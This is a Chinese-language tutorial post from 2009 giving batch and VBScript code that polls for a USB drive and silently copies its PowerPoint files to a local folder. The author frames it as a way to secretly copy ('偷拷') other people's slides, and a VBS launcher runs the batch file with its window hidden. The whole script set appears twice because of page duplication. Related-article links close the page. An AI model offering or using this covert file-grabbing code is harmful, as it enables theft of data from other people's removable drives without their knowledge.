vbs 自動復制U盤的內容
更新時間:2009年12月26日 01:58:58 作者:
運行后當把U盤插入電腦后能夠自動把U盤里的PPT偷拷下來。下面用記事本就能實現(xiàn)的批處理或vbs。
思路很簡單,高層的東西沒什么技術含量,引用幾個函數(shù)或方法就行了。開始我用的是批處理(如果你插入U盤的盤符是J,把課件保存于F盤)打開記事本,鍵入以下內容:
:cheat
ping 127.0.0.1>nul
if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat
保存為main.bat,本來這個文件就夠實現(xiàn)此功能了,但我想不到有什么DOS命令可以隱藏命令提示符界面,就不得不編了一個vbs腳本專門干這事:
打開記事本鍵入:
set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已經(jīng)注入",48,"夜月"
wscript.quit
保存為starter.vbs,注意這個文件要和main.bat放于同一目錄下。然后雙擊starter.vbs即可運行。
后來,我想用vbs腳本可以搞得更牛叉一點,但這東西已經(jīng)好長時間不玩了,我連inputbox都不知道怎么用的了,試了幾次才搞得好了一點。很方便,打開記事本,鍵入:
on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("請按如下形式輸入U盤盤符","用戶指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("請輸入目標文件夾","用戶指令","F:\Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":\*.ppt"
ptr=dfold + "\"
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop
以上內容另存為xue.vbs即可,雙擊后運行。
復制代碼 代碼如下:
:cheat
ping 127.0.0.1>nul
if exist J:\*.ppt (copy J:\*.ppt F:\ && exit) else goto cheat
保存為main.bat,本來這個文件就夠實現(xiàn)此功能了,但我想不到有什么DOS命令可以隱藏命令提示符界面,就不得不編了一個vbs腳本專門干這事:
打開記事本鍵入:
復制代碼 代碼如下:
set wshshell=createobject("wscript.shell")
wshshell.run "main.bat",0
msgbox"已經(jīng)注入",48,"夜月"
wscript.quit
保存為starter.vbs,注意這個文件要和main.bat放于同一目錄下。然后雙擊starter.vbs即可運行。
后來,我想用vbs腳本可以搞得更牛叉一點,但這東西已經(jīng)好長時間不玩了,我連inputbox都不知道怎么用的了,試了幾次才搞得好了一點。很方便,打開記事本,鍵入:
復制代碼 代碼如下:
on error resume next
dim udrive,dfold,src,ptr
set fso=createobject("Scripting.FileSystemObject")
do
udrive=inputbox("請按如下形式輸入U盤盤符","用戶指令",H)
loop until(udrive<="Z" and udrive>"B")
dfold=inputbox("請輸入目標文件夾","用戶指令","F:\Temp")
if (not fso.folderexists(dfold)) then
fso.createfolder(dfold)
end if
src=udrive + ":\*.ppt"
ptr=dfold + "\"
do while(1=1)
if fso.driveexists(udrive) then
fso.copyfile src,ptr,true
set fso=nothing
wscript.quit
end if
wscript.sleep 2000
loop
以上內容另存為xue.vbs即可,雙擊后運行。
相關文章
Vbs備份指定文件到指定目錄并且以日期重命名的實現(xiàn)代碼
這篇文章主要介紹了Vbs備份指定文件到指定目錄并且以日期重命名的實現(xiàn)代碼,需要的朋友可以參考下2019-09-09vbs打開ie兩種方法 在VBScript中啟動IE瀏覽器的實現(xiàn)代碼
用VBS打開網(wǎng)頁,減少IE廣告, 不錯的東東,是在網(wǎng)上收集的,你也可以實現(xiàn)網(wǎng)頁的自動登錄等2013-01-01